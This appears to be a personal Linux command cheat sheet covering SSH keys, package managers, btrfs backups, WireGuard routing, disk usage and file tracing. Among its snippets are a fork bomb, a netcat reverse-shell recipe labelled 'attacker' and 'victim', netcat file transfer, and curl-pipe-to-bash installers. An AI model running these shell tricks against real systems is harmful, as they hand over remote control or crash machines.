Ctrl+Alt+Deleteto force systemd shutdownAlt+PrtSc hto print SysRq help to dmesg
ssh-keygen -t ed25519 -C "example@gmail.com"
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_ed25519
cat ~/.ssh/id_ed25519.pubhttps://github.com/settings/keys
key_file=~/.ssh/filename
ssh-keygen -t ed25519 -f $key_file # -P "password" -C "comment"
ssh-copy-id -i $key_file.pub user@host
# or mkdir -p ~/.ssh/ && editor ~/.ssh/authorized_keys# show installed https://askubuntu.com/q/2389
apt-mark showmanual
# or better
zgrep 'Commandline: apt' /var/log/apt/history.log /var/log/apt/history.log.*.gz
# or
zgrep -E "Commandline: apt(|-get)" /var/log/apt/history.log*sudo pacman --noconfirm --needed --color always -Sy archlinux-keyring
sudo pacman --noconfirm --needed --color always -Syu
# sudo pacman --needed --color always -Syusudo sed -i 's/^#ParallelDownloads = [0-9]\+/ParallelDownloads = 7/' /etc/pacman.confsudo sed -i 's/^ParallelDownloads = [0-9]\+/#ParallelDownloads = 7/' /etc/pacman.confsudo pacman --noconfirm --needed --color always -S git base-devel && git clone https://aur.archlinux.org/yay-bin.git && cd yay-bin && makepkg -si --noconfirm && cd - && rm -rf yay-binsudo yay -S --color always rate-mirrors-bin
export TMPFILE="$(mktemp)"; \
sudo true; \
rate-mirrors --save=$TMPFILE arch --max-delay=43200 \
&& sudo mv /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist-backup \
&& sudo mv $TMPFILE /etc/pacman.d/mirrorlistsudo dnf clean all- profile
- minimal?
- PATH
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# or proto install rustcargo install cargo-update
cargo install-update -asudo btrfs fi usage /
sudo btrfs balance start --full-balance --bg /
sudo btrfs balance status /
sudo btrfs scrub start /
sudo btrfs scrub status /
sudo mkdir -p /btrfs_tmp && sudo mount /dev/disk/by-uuid/afb30336-18f3-4359-bebb-39c51e8f7b45 /btrfs_tmp
BACKUP_DATE=$(date +%Y-%m-%d)
sudo btrfs subvolume snapshot -r /btrfs_tmp/@persistent "/btrfs_tmp/@persistent-backup-$BACKUP_DATE"
sudo btrfs send "/btrfs_tmp/@persistent-backup-$BACKUP_DATE" | zstd | pv | ssh admin "cat > /tank/storage/backups/hosts/desktops/ROG14/@persistent-backup-$BACKUP_DATE.btrfs.zst"
#? delete previous with
# sudo btrfs subvolume delete /btrfs_tmp/...[Interface]
PostUp = DEFRT=$(ip route show default | cut -d ' ' -f 2-); for NET in 192.168.0.0/16 169.254.0.0/16 172.16.0.0/12 100.64.0.0/10 10.0.0.0/8; do ip route add $NET $DEFRT protocol 127; done
PreDown = ip route flush protocol 127
#! Also allow your DNS in AllowedPeers with /32 it its in wg networkor one of the cool ways to do that
PostUp = awg set %i fwmark 51820
PostUp = ip -4 rule add not fwmark 51820 table 51820
PostUp = ip -4 rule add table main suppress_prefixlength 0
PreDown = ip -4 rule del not fwmark 51820 table 51820
PreDown = ip -4 rule del table main suppress_prefixlength 0
PostUp = ip -6 rule add not fwmark 51820 table 51820
PostUp = ip -6 rule add table main suppress_prefixlength 0
PreDown = ip -6 rule del not fwmark 51820 table 51820
PreDown = ip -6 rule del table main suppress_prefixlength 0# astra linux
distrobox create --name astra --image registry.astralinux.ru/astra/ubi18:latestsudo cfdisk /dev/...sudo parted
nix shell nixpkgs#ntfsprogs-plus --command sudo ntfsck /dev/nvme0n1p3 --repair-auto
sync && sudo sysctl vm/drop_caches=3
# set recursion depth manually
wget -r -k -l 7 -p -E -nc http://site.com/
# OR automatic
wget -mpEk http://site.com/# current folder
du . -hcd 1 | sort -hr
# current folder with files (use apparent sizes, rather than disk usage)
du . -hacd 1 --apparent-size | sort -hr
# all files in that folder recursively
du . -ha | sort -hrTODO add find or strings example
grep -rnw 'dir/' -e 'search'find . -type f -print0 | xargs -0 dos2unix -ic0 | xargs -0 dos2unix -b
# or for git repos
git ls-files | xargs dos2unix -ic0 | xargs dos2unix -bsudo bleachbit --list | grep -E "[a-z0-9_\-]+\.[a-z0-9_\-]+" | grep -v system.free_disk_space | xargs sudo bleachbit --cleansudo sh -c "truncate -s 0 /var/lib/docker/containers/*/*-json.log"run-parts /etc/update-motd.dunknown source
ps aux | grep sshd | grep "\w*@pts/.*" | awk {'print $2'} | xargs kill -9sudo crontab -e
# ---
0 0 * * * sh -c "truncate -s 0 /var/lib/docker/containers/*/*-json.log"
0 0 * * * bleachbit --list | grep -E "[a-z0-9_\-]+\.[a-z0-9_\-]+" | xargs bleachbit --clean# spams function calls
:(){ :|:& };:
# redirect yes output to "no" file
yes > nosubnet='192.168.1'; for i in {0..255}; do timeout 0.5 ping -c1 $subnet.$i; done- use GNU or OpenBSD version of
nc(not libressl) ncreverse shell- attacker listens
nc -vlp SERVER_PORT 2>&1 | tee -a console.log - victim sends
nc SERVER_IP SERVER_PORT -e /bin/sh
- attacker listens
ncsend filecat FILE_NAME | netcat SERVER_IP SERVER_PORTnc -l -p SERVER_PORT -q 1 > FILE_NAME < /dev/null
- croc
curl https://getcroc.schollz.com | bash- alt with
wget -O- https://getcroc.schollz.com | bash - if install is failed, use unpacked binary from
/tmp/folder (it is not deleted after failed install)
- alt with
dd if=/dev/zero of=./disk-speed-test-$(date +%Y-%m-%d'_'%H_%M_%S).img bs=100M count=10 conv=fdatasync status=progresslocalepreview () {
locale -a | grep utf8 | while read locale; do
printf "%20s: " $locale
LC_ALL="$locale" date +%x\ %X\ %c
done
}command=<command to check>
strace --trace=file --string-limit=200 \
$(command) 2> ~/strace-$(date +%Y-%m-%d'_'%H_%M_%S).log
strace --trace=openat --attach <PID>
sudo fatrace . 2>&1 | grep <process or folder name># modify,attrib,close_write,move,create,delete
inotifywait --event modify,create,delete,move --monitor --recursive ~/
inotifywait --event modify,create,delete,move --monitor --recursive ~/ @/home/$USER/{.config/Code,.mozilla/firefox,.cache/mozilla} @/home/$USER/.local/share/AyuGramDesktopfind . -type d -empty -delete